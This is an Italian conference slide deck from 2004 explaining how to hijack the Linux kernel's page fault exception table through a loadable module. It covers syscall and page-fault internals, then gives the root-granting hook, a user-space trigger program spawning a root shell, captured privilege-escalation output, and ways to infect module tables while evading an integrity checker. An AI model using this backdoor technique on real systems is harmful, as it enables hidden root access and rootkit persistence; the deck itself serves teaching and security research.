“Hijacking Linux Page Fault Handler Exception Table”

Angelo Dell'Aera

<buffer@antifork.org>

Metro Olografix Camp – Pescara, Agosto 2004

Disclaimer

L'autore DECLINA OGNI RESPONSABILITA' per l'uso non corretto, stupido e/o dannoso che si potrebbe fare del materiale presentato in questo speech.

Questa presentazione si prefigge come unico scopo quello di stimolare la curiosità e la voglia di approfondire gli internals di Linux.

Loadable Kernel Modules

Correva l'anno 1994 e Linux si avviava ormai a divenire una realtà importante tra i sistemi operativi di rete.

Verso la fine di quell'anno fu rilasciato il kernel di sviluppo 1.3.20, un kernel questo destinato a cambiare nel bene e nel male la vita del sysadmin.

Infatti, in questa data, i kernel hackers introdussero il supporto ai moduli del kernel caricabili (Loadable Kernel Module, LKM).

Loadable Kernel Modules

L'utilità degli LKM era sotto gli occhi di tutti. Il solo pensare di poter caricare codice nello spazio di kernel soltanto quando ve ne fosse l'effettiva esigenza e di poterlo poi rimuovere senza riavviare la macchina era di suo un'idea affascinante.

Ancora più affascinante pensare alla versatilità che questo hack avrebbe garantito al pinguino in anni in cui i calcolatori erano chiamati a gestire ogni giorno periferiche sempre nuove e dalle caratteristiche così diverse le une dalle altre, aspetto questo che attualmente ha raggiunto proporzioni cronicamente più vaste.

Loadable Kernel Modules

Erano nati gli LKM e tutti erano felici di ciò. Ma, ben presto, quello che era l'aspetto più affascinante degli LKM si tramutò nel suo lato più oscuro.

Erano gli anni dei rootkit, dei binari modificati per non rivelare le traccie intruse in un sistema compromesso e qualcuno ebbe l'idea che forse tutto questo si poteva fare meglio da kernel space e il mezzo per farlo erano proprio gli LKM!

Halflife mostra al mondo come sovvertire...

Nell'aprile del 1997, viene pubblicato su Phrack #50 un articolo di Halflife dal titolo “Linux TTY Hijacking”. Per la prima volta, viene presentato pubblicamente un attacco al kernel che sfrutta gli LKM.

Il codice presentato nell'articolo realizza un attacco realizzato mediante redirezione di una chiamata di sistema (syscall) attraverso una modifica della syscall table.

Che cosa sarà mai una syscall?!

In tutti gli odierni sistemi operativi, è pratica comune differenziare i privilegi di accesso a determinate risorse. Questo approccio viene seguito per molti buoni motivi, primi tra tutti la sicurezza e la stabilità del sistema.

Una syscall è un'interfaccia messa a disposizione dal kernel e rappresenta un “canale di comunicazione” tra user space e kernel space.

Application Code

C library functions

System calls

kernel

User process

Funzionamento delle syscall

Analizziamo il funzionamento delle syscall in modo da poter comprendere la tecnica utilizzata per sovvertire il normale funzionamento del kernel.

Il kernel utilizza una tabella (syscall table) che viene utilizzata nel momento in cui un processo user space necessiti dei servizi del kernel tramite l'interfaccia delle syscall.

Funzionamento delle syscall

L'implementazione delle syscall in Linux coinvolge sia il kernel che le librerie del C (libc). La libc ha il compito di porre gli argomenti della syscall nei registri della CPU e invocare l'interrupt software 0x80. In questo contesto, vedremo soltanto come funziona questo meccanismo nel kernel, tralasciando i meccanismi intrinseci delle libc.

Quando l'int 0x80 viene chiamato, parte l'esecuzione dell'exception handler system_call(). Vediamone uno spezzone direttamente tratto dai sorgenti del kernel (arch/i386/kernel/entry.S).

system_call()

ENTRY(system_call)

pushl %eax # save orig_eax

SAVE_ALL

GET_CURRENT(%ebx)

testb $0x02,tsk_ptrace(%ebx) # PT_TRACESYS

jne tracesys

cmpl $(NR_syscalls),%eax

cmpl $(NR_syscalls),%eax

jae badsys

call *SYMBOL_NAME(sys_call_table)(,%eax,4)

movl %eax,EAX(%esp) # save the return value

system_call()

L'exception handler system_call() salva il valore originariamente presente nel registro %eax, in quanto Linux utilizza quel registro per restituire a user space il valore di ritorno della syscall.

Successivamente tutti i registri vengono salvati nel kernel mode stack tramite la macro SAVE_ALL.

Successivamente viene chiamata la macro GET_CURRENT che serve a ricavare un puntatore alla task_struct che caratterizza il processo che sta eseguendo la syscall.

system_call()

GET_CURRENT(%ebx) pone nel registro %ebx il valore -8192 e lo mette in AND con il valore del kernel mode stack pointer.

In particolare, -8192 corrisponde a 0xffffe000.

Quindi questa maschera serve ad azzerare tramite la AND gli ultimi 13 bit del registro %esp. Cerchiamo di capire il perchè.

#define GET_CURRENT(reg) \

movl $-8192, reg; \

andl %esp, reg

system_call()

Fin dai tempi del kernel 2.2, Linux organizza le task_struct nelle union task_union che hanno questa struttura.

#ifndef INIT_TASK_SIZE

# define INIT_TASK_SIZE 2048*sizeof(long)

#endif

union task_union {

struct task_struct task;

unsigned long stack[INIT_TASK_SIZE/sizeof(long)];

}

system_call()

La struct task_struct ha dimensione inferiore a 8kB. Ne risulta che la task_union ha dimensione 8kB e viene allineata sempre a 8KB.

La task_struct risiede ad indirizzi più bassi mentre tutto lo spazio al di sopra è riservato al kernel mode stack (circa 7200 bytes) che, come al solito, cresce verso gli indirizzi bassi.

Quindi la GET_CURRENT() azzera gli ultimi 13 bit del kernel mode stack pointer e, dopo tale operazione, %ebx contiene l'indirizzo della task_struct.

system_call()

Vengono eseguiti alcuni test (di scarsa rilevanza per i nostri scopi) per vedere se il processo sia attualmente traced e se il numero rappresentativo della syscall presente in %eax valido.

Successivamente si chiama

call *SYMBOL_NAME(sys_call_table)(,%eax,4)

che legge l'indirizzo a cui saltare dalla syscall table, il cui indirizzo base è contenuto nel simbolo sys_call_table. Il numero rappresentativo della syscall (vedi include/asm-i386/unistd.h) presente in %eax viene usato come offset all'interno della syscall table.

Un esempio di syscall table

__NR_read

__NR_write

__NR_open

__NR_close

__NR_waitpid

__NR_creat

0xc00119c0

0xc0034560

0xc00245c0

0xc00124e0

0xc001194c

0xc0010f40

...

...

Di syscall e puntatori...

Vediamo un particolare sottoinsieme di syscall che hanno un comportamento decisamente interessante.

asmlinkage long sys_ioctl(unsigned int fd, unsigned int cmd, unsigned long arg)

{

struct file *filp;

unsigned int flag;

int on, error = -EBADF;

[..]

case FIONBIO:

if ((error = get_user(on, (int *)arg)) != 0)

break;

flag = O_NONBLOCK;

[..]

Di syscall e puntatori...

Questa syscall (ma ne esistono altre) accetta come parametro un puntatore passato direttamente da user space ed è il terzo argomento.

Se, ad esempio, volessimo settare il non-blocking I/O mode sul file descriptor fd, nel nostro ipotetico programma user space scriveremmo

int on = 1;

ioctl(fd, FIONBIO, &on);

Quindi il terzo parametro è un indirizzo passato da user space...

Di syscall e puntatori...

A questo punto, soffermiamo la nostra attenzione su quella bizzarra funzione di nome get_user().

Questa fa parte di quella classe di funzioni che sono realmente al limite della magia nera e servono a copiare un argomento da user space a kernel space.

Sapere è potere?! Bene allora vediamo come funziona!

get_user()

#define __get_user_x(size,ret,x,ptr) \

__asm__ __volatile__("call __get_user_" #size \

:"=a" (ret),"=d" (x) \

:"0" (ptr))

/* Careful: we have to cast the result to the type of the pointer for sign

reasons */

#define get_user(x,ptr) \

({ int __ret_gu,__val_gu; \

switch(sizeof (*(ptr))) { \

case 1: __get_user_x(1,__ret_gu,__val_gu,ptr); break; \

case 2: __get_user_x(2,__ret_gu,__val_gu,ptr); break; \

case 4: __get_user_x(4,__ret_gu,__val_gu,ptr); break; \

default: __get_user_x(X,__ret_gu,__val_gu,ptr); break; \

} \

(x) = (__typeof__(*(ptr)))__val_gu; \

__ret_gu;

get_user()

L'implementazione della funzione get_user() è molto intelligente in quanto la prima cosa che fa è capire quanti bytes vogliamo trasferire.

Questo viene fatto attraverso lo switch-case sul valore ottenuto mediante la valutazione di sizeof(*(ptr)).

Ipotizziamo che questo valga 4, in modo tale da allinearci con l'esempio che stiamo analizzando.

get_user()

In questo caso, quindi, verrà chiamato

__get_user_x(4,__ret_gu,__val_gu,ptr);

Questa chiamata si traduce quindi in

__asm__ __volatile__("call __get_user_4 \

:"=a" (__ret_gu),"=d" (__val_gu) \

: "0" (ptr))

get_user()

Quindi stiamo chiamando la __get_user_4.

Inoltre, dalla sintassi dell'asm inline si deduce che il puntatore ptr viene passato nel registro %eax e che l'output verrà restituito per __ret_gu nel registro %eax e per __val_gu nel registro %edx .

Vediamo adesso come appare la __get_user_4() .

get_user_4()

addr_limit = 12

[..]

.align 4

.globl __get_user_4

__get_user_4:

addl $3,%eax

movl %esp,%edx

jc bad_get_user

andl $0xffffe000,%edx

cmpl addr_limit(%edx),%eax

jae bad_get_user

3: movl -3(%eax),%edx

xorl %eax,%eax

ret

bad_get_user:

xorl %edx,%edx

movl $-14,%eax

ret

.section __ex_table,"a"

.long 1b,bad_get_user

.long 2b,bad_get_user

.long 3b,bad_get_user

.previous

get_user_4()

Abbiamo detto che ptr viene passato nel registro %eax. Si somma 3 al valore di %eax e, poichè dobbiamo copiare 4 bytes da user space, questo è il più grande indirizzo user space che intendiamo accedere per realizzare l'operazione di copia.

Su questo indirizzo viene fatto un controllo confrontandolo con addr_limit(%edx). Che roba è?

Si noti che si azzerano gli ultimi 13 bit del kernel mode stack pointer mediante la movl e la andl, ottenendo, esattamente come prima, il puntatore alla task_struct . Successivamente si va a confrontare il valore presente all'offset addr_limit (che per la cornaca vale 12) con %eax.

get_user_4()

All'offset 12 si trova current->addr_limit.seg ossia il massimo indirizzo user space ossia (PAGE_OFFSET - 1) che, su architettura x86, vale 0xbfffffff.

Se %eax contiene un valore maggiore di (PAGE_OFFSET - 1) si salta alla bad_get_user, in cui si azzera %edx e si pone come valore di ritorno in eax il valore -14 (-EFAULT).

Altrimenti, se tutto va bene, si spostano i 4 bytes a cui punta ptr (si decrementa di 3 %eax per compensare l'operazione di addizione che serviva a realizzare il controllo) in %edx e si pone 0 in %eax. In tal caso, la copia ha avuto successo.

Page Fault

Ma se, dopo aver aggiunto 3, il valore contenuto in %eax fosse minore di (PAGE_OFFSET - 1) ma questo indirizzo non facesse parte dello spazio di indirizzamento virtuale del processo che cosa succederebbe?

In questi casi, la teoria dei sistemi operativi parlerebbe di page fault exception.

Vediamo di capire di cosa si tratti e come venga gestita questa situazione nel caso di nostro interesse.

Page Fault

"A page fault exception is raised when the addressed page is not present in memory, the corresponding page table entry is null or a violation of the paging protection mechanism has occurred."

[M. Cesati, D. P. Bovet, “Understanding the Linux Kernel”]

Questa definizione potrebbe suonare stringata e arcana ma in realtà dice tutto quello che c'è da dire. Andiamo più a fondo.

Quando si verifica un page fault in kernel mode si possono avere tre diverse situazioni.

Page Fault

La prima e frequentissima situazione si ha quando abbiamo Demand Paging o Copy-On-Write.

"The kernel attempts to address a page belonging to the process address space, but either the corresponding page frame does not exist (Demand Paging) or the kernel is trying to write a read-only page (Copy On Write)."

[M. Cesati, D. P. Bovet, “Understanding the Linux Kernel”]

Demand Paging

Il Demand Paging si verifica quando una pagina è mappata nello spazio di indirizzamento del processo ma la pagina non esiste in memoria fisica.

Quando un processo viene creato mediante la sys_execve(), il kernel, infatti, si limita a preparare il suo spazio di indirizzamento riservando delle aree di memoria chiamate memory regions per questioni di pura efficienza.

Demand Paging

Ipotizzando di non avere la pagina mappata in memoria, quando cercheremo di accedere la pagina, il kernel controllerà che la memory region esista e, se essa non è mappata in memoria fisica, si preoccuperà di allocare una pagina in memoria fisica.

Dopo aver fatto questo, si può proseguire con l'esecuzione del processo senza problemi.

Questo è il Demand Paging.

Copy-On-Write

Il Copy-On-Write è un meccanismo che consente di avere un incremento notevole delle performance del sistema.

Su sistemi UNIX, infatti, l'unica maniera per creare un nuovo processo è tramite la sequenza delle chiamate di sistema

fork(2) + execve(2)

La fork(2) crea un processo figlio che, stando alla teoria dei sistemi operativi, deve avere uno spazio di indirizzamento uguale a quello del padre.

Copy-On-Write

Questo modus operandi costringerebbe però la fork(2) a fare una copia dell'intero address space del padre nel processo figlio.

Ma pensiamoci su un attimo...

Se alla fork(2) segue una execve(2), questa piallerà l'intero address space del figlio così minuziosamente costruito per metterci al suo posto uno nuovo di zecca...

Copy-On-Write

Inoltre, poichè fork(2) nel 99% dei casi è seguito da una execve(2) si capisce che il gioco è troppo penalizzante.

A questo punto interviene Copy-On-Write.

Quando fate una fork(2), questa non copia nulla nell'address space del figlio ma marca le pagine di memoria del padre come shared e read-only e si preoccupa di incrementare un counter interno per gestire questa situazione.

Copy-On-Write

A questo punto, quando andate ad eseguire la execve(2) e soltanto quando andate a mettere le zampe sull'address space cercando di modificarlo, sbattete contro una violazione dei diritti di accesso alla pagina.. page fault!

A questo punto, è il page fault handler che gestisce la situazione risparmiandovi molte operazioni inutili.

Questo è il Copy-On-Write.

Demand Paging e Copy-On-Write

Queste due situazioni si verificano praticamente sempre durante l'uptime, sono assolutamente legali e sono assolutamente inutili per i nostri scopi.

Nota importante : il kernel è in grado facilmente di capire se siamo in una di queste due situazioni perchè, scandendo la lista delle memory regions, ne trova una di cui fa parte l'indirizzo virtuale che ha causato il page fault.

Kernel bug

Il secondo caso è relativo a un bug nel kernel. Difficile che succeda ma può succedere... in fondo un kernel hacker è pur sempre un essere umano..

"Some kernel function includes a programming bug that causes the exception to be raised when the program is executed; alternatively, the exception might be caused by a transient hardware error."

[M. Cesati, D. P. Bovet, “Understanding the Linux Kernel”]

Invalid Address

Il terzo caso è quello che ci interessa maggiormente.

"When a system call service routine attempts to read or write into a memory area whose address has been passed as a system call parameter, but that address does not belong to the process address space."

[M. Cesati, D. P. Bovet, “Understanding the Linux Kernel”]

Kernel Bug o Invalid Address?

Come fa il kernel a distinguere tra gli ultimi due casi?

E' facile capire quando siamo in uno di questi due ultimi casi. Infatti, quando da un'analisi dell'address space del processo, emerge che quell'indirizzo virtuale non appartiene ad alcuna memory region allora si sta verificando uno dei due casi.

Ma quale dei due?

Kernel Bug o Invalid Address?

Per questo scopo, Linux utilizza una tabella chiamata exception table. Essa è costituita da coppie di indirizzi denominati spesso insn e fixup.

L'idea è estremamente semplice. Si parte dall'assunto che le funzioni del kernel che accedono lo user space sono relativamente poche. Alcune le abbiamo già incontrate.

Soffermiamoci su una di queste : __get_user_4() .

get_user_4()

addr_limit = 12

[..]

.align 4

.globl __get_user_4

__get_user_4:

addl $3,%eax

movl %esp,%edx

jc bad_get_user

andl $0xffffe000,%edx

cmpl addr_limit(%edx),%eax

jae bad_get_user

3: movl -3(%eax),%edx

xorl %eax,%eax

ret

bad_get_user:

xorl %edx,%edx

movl $-14,%eax

ret

.section __ex_table,"a"

.long 1b,bad_get_user

.long 2b,bad_get_user

.long 3b,bad_get_user

.previous

get_user_4()

Ora si nota che nel codice della __get_user_4() l'istruzione che realizza a tutti gli effetti l'accesso a user space è l'istruzione

movl -3(%eax),%edx

Notiamo una cosa interessante. Questa istruzione è labeled con un 3.

Tenetelo a mente perchè ci servirà tra poco.

get_user_4()

Quindi, se non siamo di fronte a Demand Paging o Copy-On-Write, sarà questa l'istruzione che dovrebbe causare guai.

L'idea è quindi inserire l'indirizzo di questa istruzione nella exception table inserendolo come field insn.

Vediamo che succede se siamo nel terzo caso precedentemente delineato.

Vediamolo attraverso il codice.

Do you need a fixup?!

/* Are we prepared to handle this kernel fault? */

if ((fixup = search_exception_table(regs->eip)) != 0) {

regs->eip = fixup;

return;

}

Dopo aver appurato che non siamo in Demand Paging o Copy-On-Write, si controlla la exception table. In particolare, si controlla che l'indirizzo che ha causato la page fault exception (contenuto in regs->eip) non sia per caso presente nella exception table.

Se questo succede, regs->eip viene aggiornato e il suo valore viene posto uguale a quello del fixup presente nella tabella. Questo realizza in pratica un salto nel fixup code.

Do you need a fixup?!

Confusi? Vediamolo nel nostro caso. Abbiamo visto questo spezzone di codice.

bad_get_user:

xorl %edx,%edx

movl $-14,%eax

ret

.section __ex_table,"a"

.long 1b,bad_get_user

.long 2b,bad_get_user

.long 3b,bad_get_user

.previous

Do you need a fixup?!

Abbiamo inoltre visto che nella __get_user_4 l'istruzione labeled 3 è quella che può potenzialmente dare problemi. Nella sezione __ex_table si nota questa entry

.long 3b,bad_get_user

Tradotta per i comuni mortali, significa che nella exception table abbiamo una entry di questo tipo

insn : indirizzo di movl -3(%eax),%edx

fixup : indirizzo di bad_get_user

Do you need a fixup?!

Quindi, ipotizzando di accedere lo user space tramite __get_user_4() e ipotizzando l'indirizzo referenziato non sia nell'address space del processo, il kernel andrà a controllare la exception table.

A questo punto, troverà la entry che abbiamo appena visto e quindi salterà all'indirizzo fixup, nel nostro caso eseguendo quindi bad_get_user(), la quale mette semplicemente il valore -14 (-EFAULT) in %eax, azzera %edx e torna.

Ti sei mai sentito un missionario?

A questo punto cominciamo a vedere come si può sfruttare tutto questo per i nostri scopi non propriamente da missionari.

La exception table è delimitata in memoria da due simboli non esportati : __start___ex_table e __stop___ex_table.

buffer@rigel:/usr/src/linux$ grep ex_table System.map

c0261e20 A __start___ex_table

c0264548 A __stop___ex_table

Ti sei mai sentito un missionario?

buffer@rigel:/usr/src/linux$ grep bad_get_user System.map

c022f39c t bad_get_user

buffer@rigel:/usr/src/linux$ grep __get_user_ System.map

c022f354 T __get_user_1

c022f368 T __get_user_2

c022f384 T __get_user_4

buffer@rigel:/usr/src/linux$ grep __get_user_ /proc/ksyms

c022f354 __get_user_1

c022f368 __get_user_2

c022f384 __get_user_4

Alla stessa maniera ricaviamo altre informazioni dallo stesso System.map .

Ti sei mai sentito un missionario?

Notiamo le __get_user_x() sono esportate. Questo ci servirà più avanti. Abbiamo informazioni a sufficienza per sovvertire il sistema. Infatti, ci aspettiamo di trovare nella exception table tre entries di questo tipo.

c022f354 + offset1 c022f39c

c022f368 + offset2 c022f39c

c022f384 + offset3 c022f39c

per le tre __get_user_x(). In generale non conosciamo quanto valgano gli offset ma non ci interessa saperlo perchè sappiamo dove comincia e dove finisce la exception table tramite __start___ex_table e __stop___ex_table e sappiamo che queste tre entries hanno come field fixup 0xc022f39c .

Ti sei mai sentito un missionario?

Quindi, trovarle è molto semplice.... e una volta trovate?

Pensate a che succederebbe se rimpiazzassimo il fixup code address (nel nostro caso 0xc022f39c) con l'indirizzo di una nostra routine.

Nella situazione descritta in precedenza, il path salterebbe alla nostra routine che verrebbe eseguita al massimo dei privilegi.

La cosa si fa interessante vero?

Ti sei mai sentito un missionario?

A questo punto, uno potrebbe chiedersi “come faccio a sollecitare questa situazione?”. E' sufficiente un'istruzione di questo tipo

ioctl(fd, FIONBIO, NULL);

in un programma user space e il kernel eseguirà ciò che vorrete fargli eseguire. Infatti, in questo caso, NULL è sicuramente fuori dall'address space del processo.

Ti sei mai sentito un missionario?

No!

La pratica insegna molte più cose della teoria...

Non presento il codice dell'LKM che è tra l'altro pubblicamente disponibile su Phrack #61 e BFi #12 . Basti sapere che esso si preoccupa di ritoccare la exception table del kernel e inserisce come fixup l'indirizzo di questa routine.

void hook(void)

{

current->uid = current->euid = 0;

}

La pratica insegna molte più cose della teoria...

#include <unistd.h>

#include <errno.h>

#include <sys/ioctl.h>

int main()

{

int fd;

int res;

char *argv[2];

argv[0] = "/bin/sh";

argv[1] = NULL;

fd = open("testfile", O_RDWR | O_CREAT, S_IRWXU);

res = ioctl(fd, FIONBIO, NULL);

printf("result = %d errno = %d\n", res, errno);

execve(argv[0], argv, NULL);

return 0;

}

“Provate nostalgia per i bei tempi andati quando gli uomini erano uomini e aggiravano i controlli che il kernel effettua sulla validità di un indirizzo user space?”

buffer@rigel:~$ id

uid=500(buffer) gid=100(users) groups=100(users)

buffer@rigel:~$ ./shell

result = 25 errno = 0

sh-2.05b# id

uid=0(root) gid=100(users) groups=100(users)

sh-2.05b#

Storie di insoddisfazione latente...

Nel luglio 2003 presentai questa tecnica su Phrack #61 ma mi sentivo vagamente insoddisfatto. Tante domande mi giravano per la testa...

In particolare, il dover avere a disposizione System.map per far funzionare il tutto era una cosa che non mi garbava affatto.

Mi resi conto, grazie ad un'illuminante conversazione con twiz, che si poteva fare tutto molto meglio... e lo feci!

La rivelazione

Nell'ambito della gestione dei moduli, il kernel vede se stesso come se fosse un modulo e viene inserito nella lista dei moduli in fondo alla lista. Inoltre, ciascun modulo ha la sua exception table privata.

Sento una vocina sussurrarmi "la soluzione e' nella struct module...".

Al di là di considerazioni di natura neuropsichiatrica, decido di fidarmi della vocina...

struct module {

unsigned long size_of_struct; /* == sizeof(module) */

struct module *next;

const char *name;

unsigned long size;

union

{

atomic_t usecount;

long pad;

} uc; /* Needs to keep its size - so says rth */

unsigned long flags; /* AUTOCLEAN et al */

unsigned nsyms;

unsigned ndeps;

struct module_symbol *syms;

struct module_ref *deps;

struct module_ref *refs;

int (*init)(void);

void (*cleanup)(void);

const struct exception_table_entry *ex_table_start;

const struct exception_table_entry *ex_table_end;

[..]

}

La rivelazione

Guardando come regnano imperiosi quei due field ex_table_start e ex_table_end, mi rendo immediatamente conto che non ho più alcun bisogno dei simboli __start___ex_table e __stop___ex_table . Infatti, quando insmodo il mio LKM questo va sulla lista dei moduli.

A questo punto, percorrendo la lista fino all'ultima struct module, l'ultima rappresenta il kernel e quindi me li posso prendere direttamente da lì.

Riporto la struct module associata al kernel come compare in kernel/module.c .

La rivelazione

struct module kernel_module =

{

size_of_struct: sizeof(struct module),

name: "",

uc: {ATOMIC_INIT(1)},

flags: MOD_RUNNING,

syms: __start___ksymtab,

ex_table_start: __start___ex_table,

ex_table_end: __stop___ex_table,

kallsyms_start: __start___kallsyms,

kallsyms_end: __stop___kallsyms,

};

La rivelazione

.section __ex_table,"a"

.long 1b,bad_get_user

.long 2b,bad_get_user

.long 3b,bad_get_user

.previous

root@mintaka:~# grep __get_user /proc/ksyms

c02559fc __get_user_1

c0255a10 __get_user_2

c0255a2c __get_user_4

Mi rimane da ricavare l'indirizzo di bad_get_user. A questo punto mi tornano in mente due cose...

La rivelazione

Cosa c'è di eclatante in questo? Una cosa ci sarebbe...

Le tre entries nella exception table sono consecutive in memoria per come sono state inserite e questa è non una cosa da poco considerando che le __get_user_x sono simboli esportati.

Devo essere piu' esplicito?

Noi conosciamo l'indirizzo di __get_user_1, __get_user_2, __get_user_4, sappiamo dove inizia e dove finisce la exception table, sappiamo che le tre entries sono consecutive in memoria...

La rivelazione

Allora cominciamo a leggere dall'inizio della tabella le varie insn. Avremo un match quando l'insn sarà compreso tra __get_user_1 e __get_user_2.

Questo a causa dell'offset dell'istruzione che accede lo user space nella __get_user_1 rispetto alla prima istruzione della __get_user_1 stessa.

Una volta avuto il match, è fatta. Leggiamo il valore di fixup e sappiamo il valore di bad_get_user .

Ormai System.map non ci serve più...

Moduli?!

L'uomo curioso non si ferma e, spulciando i sorgenti del kernel, scopre un'interessante realtà....

Quando si verifica un page fault, infatti, il kernel controlla tutte le exception table partendo da quelle dei moduli fino ad arrivare a quella del kernel che viene controllata per ultima.

Quindi, se io andassi a rimpiazzare la exception table di un modulo con una nuova che contiene la entry che mi serve, il modulo continuerebbe a funzionare correttamente e otterrei lo stesso risultato senza neanche toccare il kernel!

Moduli?!

Non conviene ritoccare la exception table privata di un modulo in quanto ci potrebbe portare a strani e imprevedibili comportamenti del sistema.

Molto meglio crearne una nuova in memoria copiando tutte le entries della tabella originaria, appendendo in coda quelle che ci servono e modificando i riferimenti alla tabella nella struct module in modo che puntino alla nostra nuova versione della tabella stessa.

Su BFi #12 ho presentato un codice che infetta le exception table di tutti i moduli del sistema già insmodati e non tocca il kernel.

“Un modulo infettato al giorno toglie il sysadmin di torno”

buffer@mintaka:~/projects$ id

uid=1000(buffer) gid=100(users) groups=100(users),104(cdrecording)

buffer@mintaka:~/projects$ ./shell

result = -788176896 errno = 0

sh-2.05b# id

uid=0(root) gid=100(users) groups=100(users),104(cdrecording)

sh-2.05b#

A chi piacciono le cose semplici?

L'approccio presentato in precedenza è perfettamente funzionante ma basta pensarci un attimo per capire che questo approccio potrebbe essere portato fino all'eccesso se solo volessimo.

Una volta appurato che sono talmente monotono da volerlo, si capisce che sarebbe sufficiente che il nostro modulo infettasse la sua exception table per ottenere lo stesso risultato... senza toccare neanche i moduli!

A chi piacciono le cose semplici?

Questa idea mi è venuta in mente mentre pensavo ad una contromossa per il modulo presentato in precedenza.

Pensavo infatti ad un controllo di questo tipo.

Infatti, insmodando un codice di controllo, potrei pensare di salvare una copia delle exception table del kernel e dei moduli insmodati. Successivamente, scrivendo un wrapper attorno alla sys_create_module(), che viene richiamata quando un modulo viene insmodato, si potrebbe implementare un controllo per vedere se qualche protesi è stata aggiunta alle exception table.

A chi piacciono le cose semplici?

Il problema serio è che la lista dei moduli è una lista semplicemente linkata e la testa della lista è un simbolo non esportato.

Quindi il mio modulo di controllo potrebbe vedere solo i moduli insmodati prima di lui partendo da __this_module.next. Un modulo insmodato subito dopo è teoricamente inaccessibile da un modulo a meno di non mettere su qualche esotica procedura per tirare fuori la testa della lista.

A chi piacciono le cose semplici?

In quest'ottica, infettare tutti i moduli appare stupido perchè darei la possibilità a questo fantomatico modulo di controllo di capire che cosa sta succedendo.

In realtà, a pensarci bene, basta che un solo modulo sia infettato. A questo punto, la cosa più facile è scrivere un modulo che infetti se stesso...

Ho scritto una versione del codice (disponibile su BFi #12) che, in uno slancio creativo, ho chiamato jmm che sta per Just My Module... so che in fondo è una minchiata ma fatemela passare per questa volta...

“Exception table che vince non si cambia”

buffer@mintaka:~/projects/pagefault/test$ id

uid=1000(buffer) gid=100(users) groups=100(users),104(cdrecording)

buffer@mintaka:~/projects/pagefault/test$ ./shell

result = -776749056 errno = 0

sh-2.05b# id

uid=0(root) gid=100(users) groups=100(users),104(cdrecording)

sh-2.05b#

Riferimenti

“Hijacking Linux Page Fault Handler”

buffer – Phrack #61

http://www.phrack.org

http://buffer.antifork.org

“Alfiere in C7... page fault!”

buffer - BFi #12

http://www.s0ftpj.org/

http://buffer.antifork.org

Bibliografia

“Understanding the Linux Kernel” - 2nd edition

Daniel Bovet and Marco Cesati

O’Reilly

“Linux Device Drivers” - 2nd edition

Alessandro Rubini and Jonathan Corbet

O’Reilly

“Linux Kernel Development”

Robert Love

Sams Publishing

Domande?

Angelo Dell'Aera

2004-08-03T19:49:07